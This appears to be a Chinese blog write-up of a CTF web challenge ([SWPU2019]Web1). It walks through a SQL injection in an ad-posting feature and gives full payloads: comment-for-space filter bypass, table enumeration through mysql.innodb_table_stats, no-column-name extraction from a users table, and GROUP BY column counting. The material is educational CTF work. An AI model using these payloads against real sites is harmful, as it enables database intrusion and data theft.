[SWPU2019]Web1

 

知识点

无列名注入
在这里插入图片描述
随便注册一个账户登录,进去后可以发布广告
在这里插入图片描述
发布一个1'
在这里插入图片描述
点击广告详情
在这里插入图片描述
报错了
一通fuzz,or等被过滤,即无法使用information_schema库,可以使用无列名注入
构造

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 

手动探测列数,这里探测到有22列,回显位为2和3
在这里插入图片描述
直接查表

 

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 

在这里插入图片描述
无列名注入,参考CTF|mysql之无列名注入

正常查询
在这里插入图片描述

select 1,2,3 union select * from user;

 

在这里插入图片描述
这里看到我们的列名被1,2,3代替了。这也就是说,我们可以使用数字来代替列,如3代替了password

#注:3要加反引号,表明这是列的名字,而不是单纯的3,按照转义符来理解吧
#后面的a是别名,写啥都行
select `3` from (select 1,2,3 union select * from user)a;

 

在这里插入图片描述
设第二列别名为b
构造

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 


在这里插入图片描述
设第三列别名为b
构造

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 


在这里插入图片描述
or被过滤,order by用不了的情况下,可以使用group by

1'/**/group/**/by/**/23,'1

 

在这里插入图片描述

1'/**/group/**/by/**/22,'1

 

在这里插入图片描述
表明这里有22列

 

posted @ 2020-05-12 10:43  山野村夫z1  阅读(502)  评论(0编辑  收藏  举报